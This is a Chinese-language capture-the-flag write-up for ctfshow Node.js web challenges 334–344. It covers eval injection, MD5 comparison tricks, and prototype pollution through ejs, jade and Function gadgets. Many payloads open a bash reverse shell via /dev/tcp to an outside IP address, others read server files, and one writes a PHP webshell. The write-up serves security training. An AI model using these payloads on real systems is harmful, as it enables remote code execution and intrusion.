web334

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

user.js

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

直接小写就可以ctfshow

当然也可以用特殊字符

1
'ı'.toUpperCase()='I'`,`'ſ'.toUpperCase()='S'`,`'K'.toLowerCase()='k'

web335

源码提示了

\?eval=没有过滤随便玩

image-20230312233348156

但是输入require("child_process").exec('ls')

image-20230314131221489

why? …..真相只有一个:

首先根据”文件不存在”回显推测后端代码为

1
eval(console.log(输入内容))

我们用的异步执行代码exec在执行exec('aaa')之前就已经eval执行console.log

image-20230314131312452

image-20230314131333431

web336

image-20230312233946593

收集下各位师傅的payload

%2B不能是+

1
2
3
4
?eval=require("child_process")['exe'%2B'cSync']('ls') 
?eval=require("child_process")[`${`${`exe`}cSync`}`]('ls')
eval=require('child_process').spawnSync('ls').stdout.toString();
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

之前推测后端代码是

1
eval(console.log(输入内容))

那么可以用

1
2
__filename	返回当前模块被解析后的绝对路径
__dirname 返回当前模块文件所在文件的绝对路径

image-20230314133920288

1
2
3
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

可以用这个写入文件,如果shell写入会出现字符html编码

1
require('fs').appendFileSync('a.php',"<?php eval($_POST[1]);?>")

但是下面这个都用不了

1
require("fs").rmSync("a.txt"); 

web337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

方法一

nodejs的变量拼接

1
2
3
4
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

那么只需要传入

1
2
a[0]=a&b[0]=a或者a[]=a&b=a
这样相当于创建a=[a]&b=[a]或者a=[a]&b=a

拼接后都是

1
2
a+flag="aflag"
b+flag="aflag"

image-20230314143445063

方法二

也可以传入

1
a[x]=a&b[y]=a

这样字符拼接后会变成

1
[object Object]flag{xxx}

md5自然相等

实例

1
2
3
4
5
6
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
//[object Object]flag{xxx}

web338

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

ctfshow属性没定义,直接污染就行

1
{"__proto__":{"ctfshow":"36dboy"}}

image-20230314145907196

web339

方法一

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

没地方可以污染

api.js

1
2
3
4
5
6
7
8
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

注意这句,访问api就执行Function(query)(query)重点是函数可以自定义

1
res.render('api', { query: Function(query)(query)});

在Thejs中也有这个

1
2
3
4
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)//插入后属性后,被拼接进入new Function函数构造器的第二个参数,这就可以进行任意代码执行了
.apply(undefined, importsValues);
});

需要清楚的是js中所有对象原型都可以继承到Object

继续往上找就是null了

image-20230314181835379

那么思路清晰了,完全可以仿照thejs的payload构造,先测试一下

image-20230314182057573

关于Function构造函数的特殊形式执行,举个例子:

image-20230314182523408

这里要注意Function环境下没有require,需要改成global.process.mainModule.constructor._load

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.105.125.61/777 0>&1\"')"}}

login.js污染一下再跑到api路由下激活即可

方法二

引入了ejs模板,直接拿payload无脑打也可以,上一题也可以用这个⑧?

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"');var __tmp2"}}

web340

方法一:

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

api.js

1
2
3
4
5
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

这里变成了

1
utils.copy(user.userinfo,req.body);

多了个userinfo属性

image-20230314194330709

那污染两级就可以

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.105.125.61/777 0>&1\"')"}}}

方法二

ejs~

image-20230314193722927

web341

ejs参考上题方法二

image-20230314194636770

web342

jade原型链污染

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"')"}}}
1
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"')"}}}
1
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"')"}}}

web343

不知道过滤了什么….

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/39.105.125.61/666 0>&1\"')"}}}

web344

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

nodejs中在处理req.query.query时会把传入的同名query参数都放入数组,而不像php那样后一个把前一个query覆盖,然后进行拼接,如果符合格式就进行解析

%63编码是因为双引号编码%22会拼接成2c触发正则

1
query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}